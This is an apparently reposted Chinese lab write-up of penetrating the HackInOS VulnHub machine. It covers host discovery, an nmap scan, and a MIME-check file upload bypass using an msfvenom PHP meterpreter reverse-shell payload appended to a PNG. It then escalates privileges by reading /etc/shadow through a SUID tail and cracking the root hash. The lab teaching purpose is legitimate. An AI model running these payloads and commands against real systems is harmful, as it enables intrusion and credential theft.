HackInOS靶机渗透 – 作者:凯信特安全团队

HackInOS是一个相对好的靶机,通过练习这个靶机可以提高我们平常渗透当中必要的一些操作知识。一下是该靶机的下载地址:

https://download.vulnhub.com/hackinos/HackInOS.ova,下面我通过对该靶机的渗透,对所有其中遇到的问题进行总结。

因为我用的VMware14,打不开这个靶机,所以下载了VMBOX虚拟机进行打开。配置好地址后,我们将网络连接模式改为桥接模式,直接启动就可以用了,将该主机作为被攻击机器。

图片.png我用的攻击机器是kali,是在VMware14下搭建的。网络模式也是桥接。(刚开始的时候,怀疑不同的虚拟机有可能搭建起来的环境之间网络不通,但在配置好网络后,可以找到被攻击机器地址)

攻击机IP地址:192.168.50.77

被攻击IP地址:未知(在我们搭建起来以后,并不知道自己所要攻击的机器IP地址)

首先我们要确立攻击目标,可以通过arp侦察攻击进行探测发现存活主机。命令如下:

netdiscover –r 192.168.50.0/24或者arp-scan –i都可以进行探测。通过排除自己搭建的虚拟机内容等,发现192.168.50.97是被攻击地址。(自己搭起来一般很好找到)

图片.png使用nmap进行扫描探测,检查其开放的端口信息。

nmap –A –p- 192.168.50.97(关于nmap中参数的使用可以有很多种,这里用到-A检测操作系统指纹和版本检测,用-p-进行全端口扫描)图片.png可以发现开启了http服务和ssh服务。分别占用22和8000端口。我们可以通过浏览器访问该地址8000端口,可以看到详细信息中目标使用的CMS是wordpress。图片.png也可以看到/upload.php和uploads路径。

图片.png我们可以尝试通过文件上传webshell,通过上传一个x.php的小马文件。发现并未成功,返回表情符号。通过查看页面源代码发现php上传点的源码文件。如图所示: 图片.png

我们在这段代码中可以看到是否允许文件上传是通过mime类型进行判断的,当mime类型是image/png或者image/gif的时候才允许上传。而mime是用来描述消息内容类型的因特网标准,在上传后文件名是生成的一串随机数进行MD5加密后的内容。那么我们怎么才能确定呢?可以通过msfvenom制作木马后门。

命令如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.50.77 lport=4444 –f raw

图片.png然后寻找一个png图片,通过C32打开进行16进制模式查看,将该payload复制到打开的图片末尾。如图所示:

图片.png图片.png保存一下,更改2.png文件为2.php文件。木马图片制作好后,我们利用msf进行监听。选择exploit/multi/handler模块,加载荷载(php/meterpreter/reverse_tcp)模块,配置参数。执行exploit,使其处于监听状态。(这里我的攻击机IP因为自动获取,为192.168.50.78)。

图片.png(文件上传代码中未对文件格式要求)我们将该文件直接上传。发现并没有提示我们路径。

图片.png因为在源代码中文件名后面更了随机数,然后进行md5加密作为新的文件名称。所以我们现在要尝试去访问,因为文件名后缀是没有变更的,所以保存在上传的文件中也是.php结尾的,我们根据它给的提示代码写一段脚本访问该地址,当我们访问到以后,就会执行我们的payloads,在攻击机kali上就会获取shell。脚本代码如下:

图片.png图片.png当我们执行这段脚本时,会发现返回200请求成功的提示,即成功执行了payloads,会在kali中返回一个shell。至此我们成功获取到被攻击地址的一个shell。接下来查看其现有权限,进行提权等后续操作。 图片.png

在这里我们在日常渗透中需要着重关注的一些文件,比如web.config,web.xml,web.config.bak等内容,在目录列表中,查看这些文件。 图片.png

为了方便,我们可以上传linux下的信息收集脚本。给大家推荐一下4个linux提权脚本,链接如下:https://blog.csdn.net/snow2know/article/details/54731953。脚本工具可以在github上搜索到,其中我们使用到linuxprivchecker.py。通过上传该脚本文件,通过chmod修改文件权限,进入交互式shell执行脚本。如下图所示:

图片.png我们可以查看到tail被设置了SUID:

图片.png我们尝试通过tail去访问shadow,tail –c参数是查看文件大小,这里我们经量给大一点,1G。

图片.png新建一个hash文件,将root后的hash密码值copy出来,进行破解,如图所示:

图片.png通过进入交互式shell,执行python脚本,命令如下:

python –c “import pyt;pty.spawn(‘/bin/bash’);”

图片.png这里卖个关子由大家自己去操作(此时执行su root切换root用户,输入john密码,成功获取root权限)

来源:freebuf.com 2019-07-24 22:48:17 by: 凯信特安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论